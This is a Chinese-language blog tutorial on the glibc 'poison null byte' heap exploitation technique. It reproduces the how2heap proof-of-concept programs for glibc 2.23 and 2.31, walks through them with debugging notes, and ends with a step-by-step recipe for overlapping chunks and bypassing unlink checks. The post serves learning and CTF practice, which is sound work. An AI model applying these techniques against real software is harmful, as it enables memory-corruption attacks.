poison null byte

poison null byte

本篇主要介绍一下跟着how2heapcru5h学习poison null byte的过程和一点思考,如有错误欢迎指正。

2.23

这里以how2heap的例子来学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
printf("b2: %p\n",b2);

memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

首先申请四个chunk a,b,c和barrier,如图所示

*(size_t*)(b+0x1f0) = 0x200是为了伪造presize的大小为0x200

free(b)之后四个chunk的状态如图所示,我们可以看到chunk c的真实的prevsize为0x210

然后a[real_a_size] = 0缩小chunk b的大小

因为之前*(size_t*)(b+0x1f0) = 0x200已经伪造好了chunksize(P) == prev_size (next_chunk(P)因此可以通过检查

因为之前b已经free掉了,它现在被放到了unsortedbin中,申请一个比它小的0x100大小的堆块,会从已经放入到unsortedbin的b中分割一个b1,剩下的部分还在unsortedbin中,现在堆块状态如图所示。fake chunk是一个大小为0的chunk,分割b的话会缩小它的prevsize

此时b2 = malloc(0x80),分配填充内容后堆状态如图所示

此时free(b1)free(c)后,因为c的prev_size还是210,因此会忽略掉b2,直接b1和c合并,重新malloc(d)后会对b2造成overlap,输出b2的内容会发现变成了D。

poison null byte原理


这张图来源于ctf-all-in-one,里面讲的会详细点,可以看一看。

2.31

这里的利用主要是跟着这篇文章来学习的,具体的思想可以看原文,这里只是跟着更细致地调试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
long *tmp = malloc(0x18);
void *pad = malloc(0x10000 - ((long)tmp&0xffff) - tmp[-1]);
void *prev = malloc(0x500);
char *victim = malloc(0x4f0);
malloc(0x10);
void *a = malloc(0x4f0);
malloc(0x10);
void *b = malloc(0x510);
malloc(0x10);
free(a);
free(b);
free(prev);
malloc(0x1000); // b --> prev --> a in largebin
long *prev2 = malloc(0x500); //cash prev out
prev2[1] = 0x501; //fake size,here must long type
prev2[0x500/sizeof(long)] = 0x500;
short *b2 = malloc(0x510); // cash b out
b2[0] = 16; //change fd
void *a2 = malloc(0x4f0); // cash a out
free(a2); // into unsorted bin
free(victim); // into unsorted bin
short *a3 = malloc(0x4f0); //make a3's bk not pointing to bin(now to victim)
a3[4] = 16; // so just need to change the last 2 bytes of a3's bk
char *victim2 = malloc(0x4f0); //cash out from unsorted bin
victim2[-8] = 0; // use VULNERABILITY clear prev_inuse bit
// backward consolidate, use prev2's fd_nextsize and bk_nextsize to fake fd and bk
free(victim2);
long *merged = malloc(0x100);
assert((long)merged - (long)prev2 == 0x10);
}

编译的时候记得换成对应的libc版本

原文中也提到了,2.29之后增加了很多检查,除了要绕过chunksize(p) == prevsize之外,还要满足unlink的条件,unlink可以查看我之前的文章。

首先解释一下从unsortedbin双向链表里面取出来一个chunk时,fd指针会被破坏是什么意思。在malloc的时候,会检查unsortedbin中有没有相应大小的chunk,有的话将其取出来,然后将这个块之前的chunk都放入largebin中,因此取出来的时候这个堆块的fd指针是指向表头的。

为了解决这个难点,通过把unsortedbin整理到largebin的方式来保存fd指针,这一步可以通过malloc一个比unsortedbin中所有块都大的块来实现,这时候unsortedbin都被放到了largebin中,可以将fd_nextsize指针来作为fd指针。

接下来我们用gdb调试一下就会很清楚

首先运行到free(a)之前停下来,这时候已经完成了堆块的初始化布局。我理解的tmp和pad的作用就是为了让prev的地址从0x????00??开始。

然后把a,b,prev都free之后会进入unsortedbin中,再malloc(0x1000)后会进入到largebin中。

free(a2)之前,堆块的状态如图所示,因为在malloc b2之前,prev已经largebin中取出,因此此时b的fd指向的是a,b2[0] = 16的目的就是将0a30变成0010,此时b2的fd指向的就是prev中伪造的fake chunk。

之后又free(a2)和free(victim),此时在unsortedbin中的顺序为victim->a2->p,此时a2的bk指向的是victim,此时只需要a3[4]=16像刚才修改fd那样将低2字节从0510变为0010即可

这时候prev的unlink的检测已经准备好了,然后重新malloc victim后修改它的prev_inuse位为0,假装前面的fake chunk处于空闲状态,因此free(victim)后就会和prev2合并。

这张图很清楚的表明了程序的整个过程,堆块a和b就是为了让prev满足unlink的检测,不断地free和malloc地过程是为了将其放到bin里去自动构造fd和bk。

因此利用步骤为:

  1. 申请chunk,低第2字节对齐
  2. 设置fake chunk,p->fd=a,p->bk=b, p.size=0x501
  3. 设置b->fd=p
  4. 设置a->bk=p
  5. 伪造prev_size和prev_inuse
  6. free触发合并

文章中也提到了可以通过后向或者前向合并来保留unsortedbin中的fd指针,可以通过在合并后地chunk里地原size部位写,这样\00字节就写入到了fd中,因此需要确保p的低2位为00。

比如通过合并H0和D保留了D中的fd指针,然后申请一个H1,在0x431的部分再重新写入0x431这样多余的00就会将本来指向c1的fd改为了指向c0。add(6,0x500-8, '6'*0x488 + p64(0x431))


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!